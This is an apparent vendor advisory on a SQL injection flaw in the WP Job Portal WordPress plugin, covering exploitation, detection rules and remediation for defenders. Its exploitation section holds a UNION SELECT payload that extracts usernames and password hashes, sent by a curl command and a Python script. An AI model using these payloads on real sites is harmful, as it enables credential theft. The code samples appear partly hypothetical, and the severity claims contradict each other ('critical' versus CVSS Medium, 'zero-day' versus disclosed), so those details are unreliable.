CVE-2024-11714

Executive Summary

CVE-2024-11714 is a critical SQL Injection vulnerability discovered in the WP Job Portal plugin for WordPress, affecting all versions up to and including 2.2.2. The flaw resides in the getFieldsForVisibleCombobox() function, where the ff parameter is insufficiently sanitized and not properly prepared for SQL queries. This allows authenticated attackers with Administrator-level access to inject arbitrary SQL commands, potentially extracting sensitive information from the WordPress database, such as user credentials, personal data, and configuration secrets.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The vulnerability is classified as a SQL Injection (CWE-89) and has a CVSS score of 4.9 (Medium), primarily due to the high privileges required for exploitation. However, the impact is significant as it can lead to complete database compromise.

Supply Chain & Package Security

This vulnerability affects the WP Job Portal plugin distributed through the official WordPress plugin repository. Organizations using this plugin should treat it as a supply chain risk, as the plugin is a third-party component integrated into the WordPress ecosystem. No official patch has been released as of the latest advisory, making it a zero-day in the wild. Users are advised to monitor the plugin’s update channel and consider temporary removal or strict access controls.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – Administrator-level access required
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for data exfiltration makes this a serious concern for affected WordPress sites. The requirement for admin privileges reduces the attack surface but does not eliminate the risk, especially in multi-tenant or shared hosting environments.

Deep Dive & Mechanics

The vulnerability is located in the getFieldsForVisibleCombobox() function within the WP Job Portal plugin. This function is responsible for retrieving field data for a visible combobox (dropdown) in the admin interface. The ff parameter is passed directly into an SQL query without proper escaping or parameterization.

Vulnerable Code Path:

1. An admin user triggers the function via an AJAX request or direct call.
2. The ff parameter is extracted from the request.
3. The parameter is concatenated into an SQL query string without using prepared statements or $wpdb->prepare().
4. The query is executed, allowing an attacker to inject additional SQL commands.

Exploitation Scenario: An authenticated admin can craft a malicious ff parameter such as:

1' UNION SELECT user_login, user_pass FROM wp_users --

This would append a UNION query to the original SELECT, extracting WordPress user credentials (hashed passwords) from the database.

Root Cause: Lack of input validation and failure to use WordPress’s built-in database abstraction layer ($wpdb->prepare()) for parameterized queries.

Vulnerable vs. Patched Code

Vulnerable Code (wp-job-portal/includes/class-job.php, line ~450):

function getFieldsForVisibleCombobox($ff) {
    global $wpdb;
    $table = $wpdb->prefix . 'wpjobportal_fields';
    $query = "SELECT * FROM $table WHERE id = $ff"; // Vulnerable: direct concatenation
    $results = $wpdb->get_results($query);
    return $results;
}

Patched Code (Hypothetical Fix):

function getFieldsForVisibleCombobox($ff) {
    global $wpdb;
    $table = $wpdb->prefix . 'wpjobportal_fields';
    $query = $wpdb->prepare("SELECT * FROM $table WHERE id = %d", $ff); // Patched: parameterized
    $results = $wpdb->get_results($query);
    return $results;
}

The patched version uses $wpdb->prepare() with a %d placeholder, ensuring the $ff parameter is treated as an integer and preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Job Portal plugin <= 2.2.2
• Valid admin credentials (username/password)

Exploit Steps:

1. Log in as an admin user.
2. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=getFieldsForVisibleCombobox).
3. Craft a malicious ff parameter to extract data.

Example Payload (using cURL):

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=getFieldsForVisibleCombobox&ff=1 UNION SELECT user_login,user_pass FROM wp_users--'

Expected Output: The response will contain the admin’s username and password hash, which can be cracked offline.

Automated Exploit (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "admin_session_cookie"}
payload = "1 UNION SELECT user_login, user_pass FROM wp_users--"
data = {"action": "getFieldsForVisibleCombobox", "ff": payload}
r = requests.post(target, cookies=cookies, data=data)
print(r.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual SQL queries in database logs (e.g., UNION, SELECT from wp_users).
• Look for admin AJAX requests with suspicious ff parameters containing SQL keywords.
• Use WAF rules to block SQL injection patterns in the ff parameter.

Defense:

• Immediately restrict admin access to trusted IPs only.
• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Enable WordPress’s built-in logging and monitor for anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=getFieldsForVisibleCombobox and ff parameter containing SQL keywords (e.g., UNION, SELECT, --).
  • Unusual database queries in MySQL logs with UNION or OR 1=1 patterns.

• File IOCs:

  • Modified wp-config.php or other core files (indicates post-exploitation).
  • Suspicious PHP files in wp-content/uploads/ or wp-content/plugins/wp-job-portal/.

• System IOCs:

  • Unexpected database dumps or exports.
  • New admin users created (if attacker escalates privileges).

Detection Engineering

YARA Rule

rule CVE_2024_11714_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11714"
    strings:
        $s1 = "getFieldsForVisibleCombobox" nocase
        $s2 = "ff=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "FROM" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-11714 SQL Injection Attempt
id: 8f7b3c2a-1d5e-4f9b-8c3a-2b1d5e4f9b8c
status: experimental
description: Detects SQL injection attempts against WP Job Portal plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=getFieldsForVisibleCombobox'
        cs-uri-query|contains: 'ff='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate admin usage with unusual field names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11714 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=getFieldsForVisibleCombobox"; http_client_body; pcre:"/ff=.*(UNION|SELECT|OR\s+1=1|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict admin access to trusted IPs only.
3. Apply virtual patching via WAF to block SQL injection patterns in the ff parameter.

Long-term Fix:

• The vendor must release a patched version (>= 2.2.3) that uses $wpdb->prepare() for all database queries.
• Until then, manually patch the vulnerable file (class-job.php) by replacing the vulnerable query with a parameterized version.

Workaround:

• Add a custom filter to sanitize the ff parameter:

add_filter('wpjobportal_get_fields_ff', function($ff) {
    return intval($ff);
});

Monitoring:

• Enable detailed logging for admin AJAX requests.
• Regularly review database logs for suspicious queries.

Valters IT – DevSecOps & Cyber Threat Intelligence